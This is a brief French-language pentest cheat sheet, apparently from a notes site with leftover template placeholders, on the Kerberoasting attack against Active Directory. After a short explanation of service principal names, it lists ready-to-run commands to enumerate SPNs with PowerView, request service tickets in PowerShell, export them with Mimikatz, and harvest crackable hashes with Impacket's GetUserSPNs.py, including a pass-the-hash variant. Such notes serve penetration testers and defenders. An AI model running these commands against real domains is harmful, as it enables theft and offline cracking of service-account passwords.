Title here
Summary here
Kerberoast est une attaque basée sur la demande de TGS et sur les attributs SPN de comptes Active Directory.
SPN (Service Principal Name)
Un nom de principal de service (SPN) est un identifiant unique d’une instance de service. Les SPN sont utilisés par l’authentification Kerberos pour associer une instance de service à un compte de connexion au service.
Cet exploit consiste à rechercher un SPN lié à l’utilisateur, faire une demande de TGS pour ce SPN, exporter puis cracker le ticket pour retrouver le mot de passe.
Cette attaque requiert des identifiants valides au sein du domaine
# Récolter les SPN
Get-NetUser -SPN | select serviceprincipalname # PowerView
.\GetUserSPNs.ps1 # Autre script dédié
# Demander un ticket TGS en mémoire à partir d'un SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" # Example: MSSQLSvc/mgmt.domain.local
# Lister les tickets Kerberos en mémoire
klist
# Exporter les tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'
GetUserSPNs.py -request -dc-ip $DC_IP $DOMAIN/$USER -outputfile $OUTPUT_FILE
GetUserSPNs.py -request -dc-ip $DC_IP $DOMAIN/$USER -hashes $LM:$NT -outputfile $OUTPUT_FILE